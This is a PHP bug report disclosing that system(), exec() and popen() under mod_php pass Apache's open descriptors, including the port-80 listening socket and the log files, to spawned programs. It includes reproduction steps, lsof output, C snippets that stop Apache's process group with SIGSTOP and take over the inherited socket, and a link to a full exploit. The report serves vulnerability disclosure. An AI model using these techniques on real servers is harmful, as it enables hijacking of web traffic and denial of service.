ID: 38915 User updated by: dimmoborgir at gmail dot com Reported By: dimmoborgir at gmail dot com Status: Open Bug Type: Apache2 related Operating System: UNIX -PHP Version: 5.2.0RC4 +PHP Version: 4.4.3, 4.4.4, 5.0.4, 5.1.4, 5.1.6, 5.2.0RC5 New Comment:
Tested on versions 4.4.3, 4.4.4, 5.0.4, 5.1.4, 5.1.6, 5.2.0RC5. Previous Comments: ------------------------------------------------------------------------ [2006-09-21 19:15:25] dimmoborgir at gmail dot com Description: ------------ The problem is in exec, system, popen (and similar) PHP functions. The fact is that PHP doesn't sanitize opened file descriptors before executing a program. These functions use popen() C function to spawn a program. popen() is equal to the successive execution of pipe(), fork(), dup2(), exec(). These functions keep all opened handles. (Except STDOUT, which is replaced to pipe). This bug makes php-includes vulnerabilities more dangerous. If the server uses mod_php, and we can execute shell commands via system(), then we can, e.g. stop apache processes (by sending a SIGSTOP), and to listen and process connections on 80 port (opened by Apache, and transmitted to us by PHP). Also we can write anything to its errorlog. Reproduce code: --------------- Some steps to reproduce a bug. First. Simple program to wait :) # cat test1.c int main() { setsid( ); sleep( 10000 ); } #gcc -o test1 test1.c Ok. Let's make a php script: #cat a.php <?php system( "./test1" ); ?> Request: http://127.0.0.1/a.php Good. Now see opened handles: #lsof | grep test1 test1 cwd DIR /usr/local/apache2/htdocs test1 rtd DIR / test1 txt REG /var/www/html/test1 test1 mem REG /lib/tls/libc-2.3.5.so test1 mem REG /lib/ld-2.3.5.so test1 mem REG [stack] (stat: No such file or directory) test1 0r CHR /dev/null test1 1w FIFO pipe test1 2w REG /usr/local/apache2/logs/error_log test1 3u IPv4 *:http (LISTEN) test1 4r FIFO pipe test1 5w FIFO pipe test1 6w REG /usr/local/apache2/logs/error_log test1 7w REG /usr/local/apache2/logs/access_log test1 8r 0000 unknown inode type test1 9u IPv4 10.0.0.2:http->10.0.0.1:2134 (CLOSE_WAIT) So, our test1 has apache's handles. Now we can do something like that: int p = getsid( 0 ); // get current Process Group Id setsid( ); // become session leader kill( -p, SIGSTOP ); // good night, Apache Process Group :) And after that: for ( sock = 3; sock < getdtablesize(); sock++ ) // find valid socket handle if ( listen (sock, 10) == 0 ) break; Full exploit is available on http://hackerdom.ru/~dimmo/phpexpl.c Expected result: ---------------- I didn't expected program, executed via system() PHP function, to have all opened descriptors of Apache Web Server (including 80 port, error and access logs, opened connections, etc...) Actual result: -------------- Our PHP program has all descriptors of Apache Server. ------------------------------------------------------------------------ -- Edit this bug report at http://bugs.php.net/?id=38915&edit=1